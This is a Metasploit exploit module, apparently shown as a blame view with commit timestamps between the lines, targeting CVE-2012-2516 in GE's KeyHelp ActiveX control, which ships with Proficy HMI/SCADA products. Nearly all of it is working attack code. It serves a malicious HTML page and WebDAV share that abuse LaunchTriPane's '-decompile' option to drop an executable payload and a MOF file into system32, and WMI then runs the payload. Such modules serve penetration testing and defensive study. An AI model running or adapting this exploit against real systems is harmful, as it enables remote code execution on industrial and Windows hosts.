2012-10-10 19:14:54 +02:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2012-10-10 19:14:54 +02:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf :: Exploit :: Remote
2012-10-10 19:14:54 +02:00
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
2012-10-10 19:14:54 +02:00
include Msf :: Exploit :: Remote :: HttpServer :: HTML
include Msf :: Exploit :: EXE
include Msf :: Exploit :: WbemExec
2013-08-30 16:28:54 -05:00
2013-11-12 12:37:29 -06:00
#include Msf::Exploit::Remote::BrowserAutopwn
#autopwn_info({
2014-05-28 14:35:22 -05:00
# :os_name => OperatingSystems::Match::WINDOWS,
2013-11-12 12:37:29 -06:00
# :ua_name => HttpClients::IE,
# :javascript => true,
# :rank => NormalRanking,
# :classid => "{45E66957-2932-432A-A156-31503DF0A681}",
# :method => "LaunchTriPane",
#})
2013-08-30 16:28:54 -05:00
2012-10-10 19:14:54 +02:00
def initialize ( info = { } )
super ( update_info ( info ,
'Name' = > 'KeyHelp ActiveX LaunchTriPane Remote Code Execution Vulnerability' ,
'Description' = > %q{
This module exploits a code execution vulnerability in the KeyScript ActiveX
2012-10-10 13:37:23 -05:00
control from keyhelp.ocx. It is packaged in several products or GE, such as
2012-10-10 19:14:54 +02:00
Proficy Historian 4.5, 4.0, 3.5, and 3.1, Proficy HMI/SCADA 5.1 and 5.0, Proficy
Pulse 1.0, Proficy Batch Execution 5.6, and SI7 I/O Driver between 7.20 and 7.42.
When the control is installed with these products, the function "LaunchTriPane"
will use ShellExecute to launch "hh.exe", with user controlled data as parameters.
Because of this, the "-decompile" option can be abused to write arbitrary files on
the remote system.
2013-08-30 16:28:54 -05:00
2012-10-10 19:14:54 +02:00
Code execution can be achieved by first uploading the payload to the remote
machine, and then upload another mof file, which enables Windows Management
Instrumentation service to execute it. Please note that this module currently only
works for Windows before Vista.
2013-08-30 16:28:54 -05:00
2012-10-10 19:14:54 +02:00
On the other hand, the target host must have the WebClient service (WebDAV
Mini-Redirector) enabled. It is enabled and automatically started by default on
Windows XP SP3
} ,
'Author' = >
[
'rgod <rgod[at]autistici.org>' , # Vulnerability discovery
'juan vazquez' # Metasploit module
] ,
'License' = > MSF_LICENSE ,
'References' = >
[
[ 'CVE' , '2012-2516' ] ,
2016-07-15 12:00:31 -05:00
[ 'OSVDB' , '83311' ] ,
2012-10-10 19:14:54 +02:00
[ 'BID' , '55265' ] ,
2013-10-21 15:07:07 -05:00
[ 'ZDI' , '12-169' ] ,
2012-10-10 19:14:54 +02:00
[ 'URL' , 'http://support.ge-ip.com/support/index?page=kbchannel&id=S:KB14863' ]
] ,
'DefaultOptions' = >
{
'EXITFUNC' = > 'process' ,
} ,
'Payload' = >
{
'Space' = > 2048 ,
'StackAdjustment' = > - 3500 ,
} ,
'Platform' = > 'win' ,
'Targets' = >
[
#Windows before Vista because of the WBEM technique
[ 'Automatic' , { } ] ,
] ,
2020-10-02 17:38:06 +01:00
'DisclosureDate' = > '2012-06-26' ,
2012-10-10 19:14:54 +02:00
'DefaultTarget' = > 0 ) )
2013-08-30 16:28:54 -05:00
2012-10-10 19:14:54 +02:00
register_options (
[
OptPort . new ( 'SRVPORT' , [ true , " The daemon port to listen on " , 80 ] ) ,
OptString . new ( 'URIPATH' , [ true , " The URI to use. " , " / " ] )
2017-05-03 15:42:21 -05:00
] )
2019-08-02 09:48:53 -05:00
self . needs_cleanup = true
2012-10-10 19:14:54 +02:00
end
2013-08-30 16:28:54 -05:00
2012-10-10 19:31:38 +02:00
def on_new_session ( client )
print_status ( " The exe payload (C: \\ windows \\ system32 \\ msfmsf.exe) and mof file (C: \\ windows \\ system32 \\ wbem \\ mof \\ good \\ msfmsf.mof) must be removed manually. " )
end
2013-08-30 16:28:54 -05:00
2012-10-10 19:14:54 +02:00
def auto_target ( cli , request )
agent = request . headers [ 'User-Agent' ]
2013-08-30 16:28:54 -05:00
2012-10-10 19:14:54 +02:00
ret = nil
# Check for MSIE and/or WebDAV redirector requests
if agent =~ / (Windows NT 5 \ .1|MiniRedir \/ 5 \ .1) /
ret = targets [ 0 ]
elsif agent =~ / (Windows NT 5 \ .2|MiniRedir \/ 5 \ .2) /
ret = targets [ 0 ]
elsif agent =~ / MSIE /
ret = targets [ 0 ]
else
2012-10-10 13:37:23 -05:00
print_error ( " Unknown User-Agent: #{ agent } " )
2012-10-10 19:14:54 +02:00
end
2013-08-30 16:28:54 -05:00
2012-10-10 19:14:54 +02:00
ret
end
2013-08-30 16:28:54 -05:00
2012-10-10 19:14:54 +02:00
def on_request_uri ( cli , request )
2013-08-30 16:28:54 -05:00
2012-10-10 19:14:54 +02:00
mytarget = target
if target . name == 'Automatic'
mytarget = auto_target ( cli , request )
if ( not mytarget )
send_not_found ( cli )
return
end
end
2013-08-30 16:28:54 -05:00
2012-10-10 19:14:54 +02:00
# If there is no subdirectory in the request, we need to redirect.
if ( request . uri == '/' ) or not ( request . uri =~ / \/ [^ \/ ]+ \/ / )
if ( request . uri == '/' )
subdir = '/' + rand_text_alphanumeric ( 8 + rand ( 8 ) ) + '/'
else
subdir = request . uri + '/'
end
print_status ( " Request for \" #{ request . uri } \" does not contain a sub-directory, redirecting to #{ subdir } ... " )
send_redirect ( cli , subdir )
return
end
2013-08-30 16:28:54 -05:00
2012-10-10 19:14:54 +02:00
# dispatch WebDAV requests based on method first
case request . method
when 'OPTIONS'
process_options ( cli , request , mytarget )
2013-08-30 16:28:54 -05:00
2012-10-10 19:14:54 +02:00
when 'PROPFIND'
process_propfind ( cli , request , mytarget )
2013-08-30 16:28:54 -05:00
2012-10-10 19:14:54 +02:00
when 'GET'
process_get ( cli , request , mytarget )
2013-08-30 16:28:54 -05:00
2012-10-10 19:14:54 +02:00
when 'PUT'
print_status ( " Sending 404 for PUT #{ request . uri } ... " )
send_not_found ( cli )
2013-08-30 16:28:54 -05:00
2012-10-10 19:14:54 +02:00
else
print_error ( " Unexpected request method encountered: #{ request . method } " )
2013-08-30 16:28:54 -05:00
2012-10-10 19:14:54 +02:00
end
2013-08-30 16:28:54 -05:00
2012-10-10 19:14:54 +02:00
end
2013-08-30 16:28:54 -05:00
2012-10-10 19:14:54 +02:00
#
# GET requests
#
def process_get ( cli , request , target )
2013-08-30 16:28:54 -05:00
2012-10-10 19:14:54 +02:00
print_status ( " Responding to GET request #{ request . uri } " )
# dispatch based on extension
if ( request . uri =~ / \ .chm$ /i )
#
# CHM requests sent by IE and the WebDav Mini-Redirector
#
if request . uri =~ / #{ @var_exe_name } /
print_status ( " Sending CHM with payload " )
send_response ( cli , @chm_payload , { 'Content-Type' = > 'application/octet-stream' } )
elsif request . uri =~ / #{ @var_mof_name } /
print_status ( " Sending CHM with mof " )
send_response ( cli , @chm_mof , { 'Content-Type' = > 'application/octet-stream' } )
else
send_not_found ( cli )
end
else
#
# HTML requests sent by IE and Firefox
#
my_host = ( datastore [ 'SRVHOST' ] == '0.0.0.0' ) ? Rex :: Socket . source_address ( cli . peerhost ) : datastore [ 'SRVHOST' ]
path = request . uri . gsub ( / \/ / , '\\\\\\' )
payload_unc = '\\\\\\\\' + my_host + path + @var_exe_name + '.chm'
mof_unc = '\\\\\\\\' + my_host + path + @var_mof_name + '.chm'
print_status ( " Using #{ payload_unc } for payload... " )
print_status ( " Using #{ mof_unc } for the mof file... " )
2013-08-30 16:28:54 -05:00
2012-10-10 19:14:54 +02:00
html = <<-HTML
< html >
< body >
< script >
KeyScript = new ActiveXObject ( " KeyHelp.KeyScript " ) ;
2013-08-30 16:28:54 -05:00
2012-10-10 19:14:54 +02:00
ChmPayloadFile = " -decompile C: \\ \\ WINDOWS \\ \\ system32 \\ \\ #{ payload_unc } " ;
ChmMofFile = " -decompile c: \\ \\ WINDOWS \\ \\ system32 \\ \\ wbem \\ \\ mof \\ \\ #{ mof_unc } " ;
2013-08-30 16:28:54 -05:00
2012-10-10 19:14:54 +02:00
KeyScript . LaunchTriPane ( ChmPayloadFile ) ;
setTimeout ( 'KeyScript.LaunchTriPane(ChmMofFile);' , 3000 ) ;
< / script>
< / body >
< / html>
HTML
2013-08-30 16:28:54 -05:00
2012-10-10 19:14:54 +02:00
html.gsub!( / \ t \ t \ t / , '' )
2013-08-30 16:28:54 -05:00
2012-10-10 19:14:54 +02:00
print_status ( " Sending HTML page " )
send_response ( cli , html )
2013-08-30 16:28:54 -05:00
2012-10-10 19:14:54 +02:00
end
end
2013-08-30 16:28:54 -05:00
2012-10-10 19:14:54 +02:00
#
# OPTIONS requests sent by the WebDav Mini-Redirector
#
def process_options ( cli , request , target )
print_status ( " Responding to WebDAV OPTIONS request " )
headers = {
#'DASL' => '<DAV:sql>',
#'DAV' => '1, 2',
'Allow' = > 'OPTIONS, GET, PROPFIND' ,
'Public' = > 'OPTIONS, GET, PROPFIND'
}
send_response ( cli , '' , headers )
end
2013-08-30 16:28:54 -05:00
2012-10-10 19:14:54 +02:00
#
# PROPFIND requests sent by the WebDav Mini-Redirector
#
def process_propfind ( cli , request , target )
path = request . uri
print_status ( " Received WebDAV PROPFIND request " )
body = ''
2013-08-30 16:28:54 -05:00
2012-10-10 19:14:54 +02:00
if ( path =~ / \ .chm /i )
print_status ( " Sending CHM multistatus for #{ path } ... " )
body = %Q|<?xml version="1.0"?>
<a:multistatus xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/" xmlns:c="xml:" xmlns:a="DAV:">
<a:response>
</a:response>
</a:multistatus>
|
elsif ( path =~ / \ .manifest$ /i ) or ( path =~ / \ .config$ /i ) or ( path =~ / \ .exe /i )
print_status ( " Sending 404 for #{ path } ... " )
send_not_found ( cli )
return
2013-08-30 16:28:54 -05:00
2012-10-10 19:14:54 +02:00
elsif ( path =~ / \/ $ / ) or ( not path . sub ( '/' , '' ) . index ( '/' ) )
# Response for anything else (generally just /)
print_status ( " Sending directory multistatus for #{ path } ... " )
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
else
print_status ( " Sending 404 for #{ path } ... " )
send_not_found ( cli )
return
2013-08-30 16:28:54 -05:00
2012-10-10 19:14:54 +02:00
end
2013-08-30 16:28:54 -05:00
2012-10-10 19:14:54 +02:00
# send the response
resp = create_response ( 207 , " Multi-Status " )
resp . body = body
resp [ 'Content-Type' ] = 'text/xml'
cli . send_response ( resp )
end
2013-08-30 16:28:54 -05:00
2012-10-10 19:14:54 +02:00
def generate_payload_chm ( data )
2013-09-26 20:34:48 +01:00
path = File . join ( Msf :: Config . data_directory , " exploits " , " CVE-2012-2516 " , " template_payload.chm " )
2012-10-10 19:14:54 +02:00
fd = File . open ( path , " rb " )
chm = fd . read ( fd . stat . size )
fd . close
chm << data
chm
end
2013-08-30 16:28:54 -05:00
2012-10-10 19:14:54 +02:00
def generate_mof_chm ( data )
2013-09-26 20:34:48 +01:00
path = File . join ( Msf :: Config . data_directory , " exploits " , " CVE-2012-2516 " , " template_mof.chm " )
2012-10-10 19:14:54 +02:00
fd = File . open ( path , " rb " )
chm = fd . read ( fd . stat . size )
fd . close
chm << data
chm
end
2013-08-30 16:28:54 -05:00
2012-10-10 19:14:54 +02:00
#
# When exploit is called, generate the chm contents
#
def exploit
if datastore [ 'SRVPORT' ] . to_i != 80 || datastore [ 'URIPATH' ] != '/'
2013-08-15 14:14:46 -05:00
fail_with ( Failure :: Unknown , 'Using WebDAV requires SRVPORT=80 and URIPATH=/' )
2012-10-10 19:14:54 +02:00
end
2013-08-30 16:28:54 -05:00
2012-10-10 19:14:54 +02:00
@var_mof_name = rand_text_alpha ( 7 )
@var_exe_name = rand_text_alpha ( 7 )
payload_contents = generate_payload_exe
mof_contents = generate_mof ( " msfmsf.mof " , " msfmsf.exe " )
@chm_payload = generate_payload_chm ( payload_contents )
@chm_mof = generate_mof_chm ( mof_contents )
2013-08-30 16:28:54 -05:00
2012-10-10 19:14:54 +02:00
super
end
end